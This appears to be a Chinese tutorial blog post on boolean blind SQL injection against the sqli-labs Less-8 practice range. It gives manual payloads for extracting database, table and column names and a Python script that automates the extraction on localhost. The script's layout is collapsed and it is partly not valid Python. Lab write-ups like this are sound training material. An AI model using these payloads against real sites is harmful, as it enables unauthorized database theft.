sql靶场--布尔盲注(第八关)保姆级教程

目录

布尔盲注(第八关)

1.判断

2.确认布尔盲注

3.手工尝试布尔盲注

表名字符

表数

表名长度

表字符

字段数

字段名长度

字段字符

4.脚本布尔盲注注入


布尔盲注(第八关)
1.判断

布尔盲注了,这种页面只会有成功和错误两个状态的页面,不会出现报错显示,这种可以尝试可以通过布尔盲注来不断尝试猜测出数据:并且我们可以使用多种方法来注入

2.确认布尔盲注

进行闭合测试

单引号测试


这里发现页面变换,但是没有报错

单引号闭合测试


2-单引号闭合测试

发现这里闭合方式就是单引号

确认是否真的没有报错

使用order by 排列


3-排序报错测试

发现页面变换,但是没有报错了,只有这两种页面,基本就是布尔盲注了

3.手工尝试布尔盲注

手动进行布尔盲注十分麻烦,首先先要注入出名字的长度

?id=1' and (select length(database())>3) --+ 
?id=1' and (select length(database())>8) --+  
?id=1' and (select length(database())>5) --+ 
?id=1' and (select length(database())>6) --+ 

5-数据库名长度测试2

6-数据库名长度测试3

7-数据库名长度测试4

然后一个一个注入出名字的字符的ASCLL码然后对照表将名字完整的获取出来

十进制十六进制字符说明
320x20空格 (Space)
33-470x21-0x2F! " # ... /标点符号
48-570x30-0x390-9阿拉伯数字
58-640x3A-0x40: ; < ... @特殊符号
65-900x41-0x5AA-Z大写英文字母
91-960x5B-0x60[ \ ] ... ```特殊符号
97-1220x61-0x7Aa-z小写英文字母
123-1260x7B-0x7E{ | } ~特殊符号

表名字符

一般名字命名的字符是在32-128之间,所以测试一般在里面测试

可以用二分法进行测试

?id=1' and ((select ascii(substr(database(),1,1)))>80) --+ 
?id=1' and ((select ascii(substr(database(),1,1)))>104) --+ 
?id=1' and ((select ascii(substr(database(),1,1)))>116) --+  
?id=1' and ((select ascii(substr(database(),1,1)))>110) --+
?id=1' and ((select ascii(substr(database(),1,1)))>113) --+
?id=1' and ((select ascii(substr(database(),1,1)))>114) --+

9-数据库名字符测试2

10-数据库名字符测试3

最后确定是ASCLL是115,对照ASCLL是字符s

剩下的也这样一个一个慢慢的注入出来

表数

注入出数据库名后再去注入表名与字段名

由于表名与字段名一般不可能只有一个,所以需要多注入出它们的具体数量

?id=1' and (select count(*) from information_schema.tables where table_schema=database()) > 3--+
?id=1' and (select count(*) from information_schema.tables where table_schema=database()) > 5--+

12-表数测试2

表名长度
?id=1' and (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>6 --+ 
?id=1' and (select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>8 --+ 

14-表名长度测试2

表字符
?id=1' and (ascii(substr((select table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1))>32) --+ 

字段数
?id=1' and (select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>2 --+ 
?id=1' and (select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>4 --+ 

16-字段数测试2

字段名长度
?id=1' and (select length(column_name) from information_schema.columns where table_schema= 'security' and table_name='users' limit 1,1)>6 --+ 

字段字符
?id=1' and (ascii(substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1),1,1))>32) --+ 

所以这种方式十分费时费力,建议写python的脚本进行注入

4.脚本布尔盲注注入
import requests #用于发送HTTP请求url = "http://127.0.0.1/sqli-labs/Less-8/"def inject_database(url):name = ''# 初始化空字符串,存储最终数据库名for i in range(1, 100):# 遍历字符位置(假设数据库名最长99字符)low = 32# ASCII可打印字符起始值(空格)high = 128# ASCII结束值(DEL字符,实际只用到127)mid = (low + high) // 2# 二分法初始中间值while low < high:# 二分查找当前字符的ASCII值payload = " 1' and ascii( substr( (select database()),%d,1)) > %d--  " % (i, mid)/**" "  里面是构造的Payload1'   闭合前面的单引号ascii() 将字符转换为相应的ACSII值substr( (),%d,1) 获取()里面的字符集的第 %d 位开始的第一位字符,第一个%d(占位符)是代表iselect( database()) 查询获取当前的数据库名()>%d  第二个也就是这个%d是midand ('1')=('1  闭合% (i, mid) 为 Python 的字符串格式化语法,将变量 i(字符位置)和 mid(猜测的 ASCII 值)动态插入 Payload,实现自动化枚*/params = {"id": payload}r = requests.get(url, params=params)if "You are in..........." in r.text:#if() 看页面里面有没有You are in...........来判断字符的ASCII值是否大于mid low = mid + 1# 当前字符ASCII值 > mid,调整下限else:high = midmid = (low + high) // 2if mid == 32:# 若mid为32(空格),终止循环breakname = name + chr(mid)# 将ASCII转为字符并拼接print(name)# 实时输出当前结果inject_database(url)
# 执行注入函数

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/32529.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C++入门】变量和基本类型

目录 一、 基本内置类型 1.1. 整型&#xff08;Integer Types&#xff09; 1.2. 浮点型&#xff08;Floating-point Types&#xff09; 1.3. 字符型&#xff08;Character Type&#xff09; 1.4. 布尔型&#xff08;Boolean Type&#xff09; 1.5. 示例代码 二、变量声明…

JVM内存结构笔记03-方法区

文章目录 方法区1.定义2.组成方法区与永久代和元空间的关系为什么要将永久代 (PermGen) 替换为元空间 (MetaSpace) 呢? 3.方法区常用参数4.运行时常量池常量池运行时常量池定义查看class文件 方法区 1.定义 方法区属于是 JVM 运行时数据区域的一块逻辑区域&#xff0c;是各个…

数据库语句

环境变量path下的目录是系统目录。 #include <iostream> #include <mysql.h> #pragma comment(lib,"libmysql.lib")//链接libmysql.dll动态库的中间桥 // MYSQL* conn;//数据库句柄。后面还有网络句柄&#xff08;用来网络收发数据&#xff09; bool co…

Word 小黑第15套

对应大猫16 修改样式集 导航 -查找 第一章标题不显示 再选中文字 点击标题一 修改标题格式 格式 -段落 -换行和分页 勾选与下段同页 添加脚注 &#xff08;脚注默认位于底部 &#xff09;在脚注插入文档属性&#xff1a; -插入 -文档部件 -域 类别选择文档信息&#xff0c;域…

【从零开始学习计算机科学】编译原理(七)运行时刻环境

【从零开始学习计算机科学】编译原理(七)运行时刻环境 运行时刻环境存储组织空间的栈式分配活动树活动记录和控制栈简单栈式存贮分配C语言的过程调用和过程返回时的存贮管理堆式存储分配堆式存储分配的功能垃圾回收基于跟踪的垃圾回收短停顿垃圾回收运行时刻环境 存储组织 …

一维下料之 *贪心算法* —— CAD c#二次开发

一维下料之贪心算法&#xff0c;需求如下 已知条件 我们有一批长度为 380 米 的原材料&#xff08;例如钢管、木材等&#xff09;。 切割需求 需要从这些原材料中切割出以下长度的小段&#xff1a;42 米&#xff1a;需要 13 段 140米&#xff1a;需要 23 段 130 米&#xff1a…

刷leetcode hot100--动态规划3.12

第一题乘积max子数组[1h] emmmm感觉看不懂题解 线性dp【计划学一下acwing&#xff0c;挨个做一下】 线性动态规划 相似题解析 最长上升子序列 最大上升子序列和 最大连续子段和 乘积最大子数组_哔哩哔哩_bilibili 比较奇怪的就是有正负数和0&#xff0c;如何处理&#xff1f…

Linux安装升级docker

Linux 安装升级docker Linux 安装升级docker背景升级停止docker服务备份原docker数据目录移除旧版本docker安装docker ce恢复数据目录启动docker参考 安装找到docker官网找到docker文档删除旧版本docker配置docker yum源参考官网继续安装docker设置开机自启配置加速测试 Linux …

pycharm + anaconda + yolo11(ultralytics) 的视频流实时检测,保存推流简单实现

目录 背景pycharm安装配置代码实现创建本地视频配置 和 推流配置视频帧的处理和检测框绘制主要流程遇到的一些问题 背景 首先这个基于完整安装配置了anaconda和yolo11的环境&#xff0c;如果需要配置开始的话&#xff0c;先看下专栏里另一个文章。 这次的目的是实现拉取视频流…

LLM:了解大语言模型

大型语言模型&#xff08;Large language models&#xff0c;LLMs&#xff09;&#xff0c;如 OpenAI 的 ChatGPT &#xff0c;或者 DeepSeek 等&#xff0c;是过去几年中开发出来的深度神经网络模型。它们为自然语言处理&#xff08;natural language processing&#xff0c;N…

Linux多进程学习

一、什么是多进程 1.多任务程序能够同时做多件事情&#xff0c;如QQ同时聊天和上传下载。 2.多任务程序在应用开发中非常普遍&#xff0c;是必须掌握的基本概念。 二、进程的创建与资源分配 1.操作系统在创建进程时会分配内存资源、CPU资源和时间片。 2.进程的内容包括代码、…

「Unity3D」UGUI将元素固定在,距离屏幕边缘的某个比例,以及保持元素自身比例

在不同分辨率的屏幕下&#xff0c;UI元素按照自身像素大小&#xff0c;会发生位置与比例的变化&#xff0c;本文仅利用锚点&#xff08;Anchors&#xff09;使用&#xff0c;来实现UI元素&#xff0c;固定在某个比例距离的屏幕边缘。 首先&#xff0c;将元素的锚点设置为中心&…

STM32 内置的通讯协议

数据是以帧为单位发的 USART和UART的区别就是有没有同步功能 同步是两端设备有时钟连接&#xff0c;异步是没时钟连接&#xff0c;靠约定号的频率&#xff08;波特率&#xff09;接收发送数据 RTS和CTS是用来给外界发送已“可接收”或“可发送”信号的&#xff0c;一般用不到…

C语言实现队列数据结构:思路与代码详解

目录 一、引言 二、整体思路 三、代码模块分析 &#xff08;一&#xff09;头文件包含与宏定义 &#xff08;二&#xff09;数据类型定义 &#xff08;三&#xff09;队列操作函数 1. 队列初始化 2. 队列销毁 3. 入队操作 4. 出队操作 5. 获取队头元素 6…

商业智能BI的未来,如何看待AI+BI这种模式?

昨天在和一位朋友线上聊天的时候&#xff0c;提了一个问题&#xff0c;你是如何看待AI&#xff08;人工智能&#xff09;BI&#xff08;商业智能&#xff09;这种模式和方向的&#xff0c;我大概来说一下我个人的看法。 以我在商业智能BI项目中接触到的行业和企业&#xff0c;…

如何制作Windows系统盘、启动盘?(MediaCreationTool_22H2)

文章目录 每日一句正能量前言一、准备工作二、制作启动盘后记 每日一句正能量 每个在你生命里出现的人&#xff0c;都有原因。喜欢你的人给你温暖关心。你喜欢的人让你学会爱和付出&#xff0c;不喜欢你的人让你自省成长。你不喜欢的人教会你宽容尊重&#xff0c;没有人是偶然出…

DataWhale 大语言模型 - 语言模型发展历程

大语言模型 LLMBook 项目背景 本课程围绕中国人民大学高瓴人工智能学院赵鑫教授团队出品的《大语言模型》书籍展开&#xff0c;覆盖大语言模型训练与使用的全流程&#xff0c;从预训练到微调与对齐&#xff0c;从使用技术到评测应用&#xff0c;帮助学员全面掌握大语言模型的…

C#带有设备仿真功能串口调试助手

本文档介绍一种方法,可以用来仿真串口设备。这样调试PLC程序时可以在没有仪器时用于测试程序的运行。详细代码见: https://download.csdn.net/download/qq_34047402/90477066 C#带有设备仿真功能串口调试助手资源-CSDN文库 步骤如下: 1.把串口设备接收和发送仿真数据放到一…

本地部署 OpenManus 保姆级教程(Windows 版)

一、环境搭建 我的电脑是Windows 10版本&#xff0c;其他的没尝试&#xff0c;如果大家系统和我的不一致&#xff0c;请自行判断&#xff0c;基本上没什么大的出入啊。 openManus的Git地址&#xff1a;https://github.com/mannaandpoem/OpenManus 根据官网的两种安装推荐方式如…

01 | Go 项目开发极速入门课介绍

提示&#xff1a; 所有体系课见专栏&#xff1a;Go 项目开发极速入门实战课。 你好&#xff0c;欢迎学习本课程。本课程是一个 Go 项目开发极速入门课程。旨在帮助刚学习完 Go 基础语法的 Go 开发者&#xff0c;快速掌握如何开发一个功能相对全面的 Go 项目。 根据课程设计目标…